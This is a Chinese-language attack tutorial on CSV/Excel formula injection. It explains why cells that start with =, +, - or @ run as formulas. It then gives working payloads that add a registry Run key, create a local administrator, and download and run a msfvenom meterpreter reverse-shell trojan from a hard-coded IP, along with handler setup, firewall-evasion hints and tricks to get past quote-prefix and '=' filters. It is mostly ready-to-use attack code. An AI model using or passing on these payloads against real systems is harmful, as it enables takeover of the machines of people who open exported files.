csv注入
csv注入是一種將包含惡意命令的excel公式插入到可以導出csv或xls等格式的文本中,當在excel中打開csv文件時,文件會轉換為excel格式並提供excel公式的執行功能,會造成命令執行問題。
漏洞原理
漏洞原理就是excel的一個特性,當單元格中內容以=-+@等符號開頭時,excel將會將其當成一個公式處理。
所以當我們輸入=1+1時,excel會自動將其計算
那么利用這個辦法,把等號后面的內容改為執行cmd命令控制其打開一個計算器
=1+cmd|' /C calc'!A0
漏洞利用
修改注冊表
=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0
=cmd|'/C net user test 123456 /add'!A0+
=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0
可以使用命令注入中的知識,同時執行兩個命令,達到新建一個管理員用戶的效果
下載木馬,反彈shell
准備木馬
#msf生成payload msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -f exe -o reverse_tcp.exe #python2開啟http服務 python -m SimpleHTTPServer 8888 #python3開啟http服務 python -m http.server 8888
攻擊機監聽
msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST xxx.xxx.xxx.xxx set LPORT 4444 run
靶機從python http服務下載木馬並執行
curl http://170.170.64.17:8888/reverse_tcp.exe --output windowsLocal.exe && .\windowsLocal.exe
那么我們在csv注入場景下的payload就是
=cmd|'/C curl http://170.170.64.17:8888/reverse_tcp.exe --output windowsLocal.exe && .\windowsLocal.exe'!A0
不過這個方法一般會在下載步驟被windows防火牆攔截,可以自行增加一層編解碼或者加解密過程。
反彈shell也可以通過調用powershell下載powercat反彈,使用nc監聽。
漏洞繞過
其他運算符號繞過
很多場景下服務器會過濾=,但是在excel中,+,-,@等也可以觸發公式
-cmd|' /C calc'!A0 +cmd|' /C calc'!A0 @SUM(cmd|'/c calc'!A0)
%0A繞過自動添加單引號
有些防御手法會在等號之類的運算符前增加’,或每個元素開頭直接添加單引號,可使用%0A換行執行
%0A-1+cmd|' /C calc'!A0
;繞過自動添加單引號
有些防御手法會在等號之類的運算符前增加’,或每個元素開頭直接添加單引號,可使用;分割,分別執行
;-1+cmd|' /C calc'!A0